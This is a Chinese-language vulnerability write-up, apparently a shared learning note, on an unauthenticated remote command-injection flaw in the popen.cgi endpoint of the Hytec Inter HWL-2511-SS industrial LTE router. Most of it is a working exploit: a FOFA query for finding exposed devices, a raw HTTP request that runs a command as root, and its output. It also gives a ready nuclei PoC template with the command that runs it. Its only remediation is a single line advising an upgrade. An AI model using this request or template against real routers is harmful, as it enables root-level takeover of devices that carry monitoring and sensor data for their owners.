免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与本平台和发布者无关！！！

漏洞名称

Hytec Inter HWL-2511-SS 路由器 popen.cgi RCE漏洞

漏洞影响

Hytec Inter HWL-2511-SS 小于等于v1.05版本

漏洞描述

HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。

FOFA搜索语句

body="app/feature/portForwarding.js" || body="app/app.translate-config.js"

漏洞复现

向靶场发送如下数据包(get请求可以直接用浏览器访问)


GET /cgi-bin/popen.cgi?command=id HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

响应内容如下


HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Cache-Control: no-cache
Content-Type: text/html
Date: Mon, 27 Nov 2023 06:13:19 GMT
Expires: -9999
Server: lighttpd/1.4.30
Vary: *

uid=0(root) gid=0(root)

漏洞复现成功

nuclei poc

poc文件内容如下


id: HWL-2511-SS-popen-rce
info:
  name: Hytec Inter HWL-2511-SS 路由器 popen.cgi RCE漏洞
  author: fgz
  severity: critical
  description: Hytec Inter HWL-2511-SS 小于等于v1.05版本/cgi-bin/popen.cgi接口处存在RCE漏洞，未经授权的攻击者可以远程执行任意命令，会导致主机失陷。
  metadata:
    max-request: 3
    verified: true
    fofa-query: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/popen.cgi?command=id"
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains(body,'uid') && contains(body,'gid')"

运行POC

nuclei.exe -t mypoc/其他/HWL-2511-SS-popen-rce.yaml -u http://x.x.x.x

修复建议

升级到最新版本。